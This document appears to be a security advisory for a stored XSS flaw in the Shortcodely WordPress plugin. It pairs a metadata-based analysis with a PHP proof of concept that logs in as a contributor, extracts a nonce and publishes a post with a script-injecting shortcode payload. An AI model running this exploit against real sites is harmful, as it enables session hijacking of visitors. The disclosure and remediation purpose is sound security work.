Atomic Edge analysis of CVE-2026-6913 (metadata-based): This authenticated stored cross-site scripting (XSS) vulnerability affects the Shortcodely plugin for WordPress versions 1.0.1 and earlier. It allows users with contributor-level access or higher to inject malicious web scripts through the ‘widget_area’ shortcode attribute. The CVSS score of 6.4 reflects medium severity with a low impact on confidentiality and integrity.
Root Cause: The vulnerability stems from insufficient input sanitization and output escaping on the ‘widget_area’ parameter within a WordPress shortcode. Based on the CWE-79 classification and the description, Atomic Edge analysis infers that the plugin defines a shortcode (likely ‘widget_area’ as the attribute name within a shortcode like [shortcodely widget_area=”…”]) that renders user-supplied data without proper sanitization. The plugin likely passes the attribute value directly to a function like `echo` or `apply_filters` without using WordPress escaping functions such as `esc_attr()` or `esc_html()`. This inference relies on metadata since no source code diff is available.
Exploitation: An authenticated attacker with contributor privileges can create or edit a WordPress post or page using the Shortcodely shortcode. The attacker sets the ‘widget_area’ attribute to contain a malicious payload, such as `”>alert(‘XSS’)`. When a user views the page, the script executes in their browser. The attack vector is straightforward because WordPress shortcodes execute on page rendering, and no additional AJAX endpoint or form submission is required beyond standard post editing.
Remediation: The fix requires the plugin developer to implement proper sanitization and escaping. The plugin should sanitize the ‘widget_area’ attribute using functions like `sanitize_text_field()` upon shortcode attribute processing. It must escape output with `esc_attr()` when rendering the attribute value within HTML attributes, or `esc_html()` for body content. Currently, no patched version exists.
Impact: Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of any user viewing the compromised page. This can lead to session hijacking, redirecting users to malicious sites, defacing the website, or performing actions on behalf of the victim. Because contributor-level access is required, the attack surface is limited to sites with multiple users, but a single compromised contributor account can affect all site visitors.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6913 - Shortcodely <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'widget_area' Shortcode Attribute
// Configuration
$target_url = 'https://example.com'; // Change to the target WordPress site URL
$username = 'contributor_user'; // WordPress username with contributor role
$password = 'password'; // WordPress password
// Login to WordPress
$login_url = $target_url . '/wp-login.php';
$post_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Create or edit a post with the vulnerable shortcode
// First, get the necessary nonce for post creation
$admin_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
// Extract the _wpnonce from the response
preg_match('/<input type="hidden" id="_wpnonce" name="_wpnonce" value="([a-f0-9]+)" />/', $response, $matches);
if (!isset($matches[1])) {
die('Error: Could not extract nonce for post creation.n');
}
$nonce = $matches[1];
curl_close($ch);
// Step 3: Send the malicious post with the XSS payload
$post_url = $target_url . '/wp-admin/post.php';
$payload = '"><script>alert(document.cookie)</script>';
// Construct the shortcode with the malicious widget_area attribute
$post_content = '[shortcodely widget_area="' . $payload . '"]';
$post_data = array(
'_wpnonce' => $nonce,
'post_type' => 'post',
'post_title' => 'Test Post - XSS PoC',
'content' => $post_content,
'post_status' => 'publish',
'action' => 'editpost'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Check if the post was created successfully
if (strpos($response, 'post updated') !== false || strpos($response, 'post published') !== false) {
echo "PoC successful: XSS payload injected. Visit the post to see the alert.n";
echo "Payload used: $payloadn";
} else {
echo "PoC may have failed. Check the response.n";
}
// Clean up the cookie file
unlink('/tmp/cookies.txt');
?>
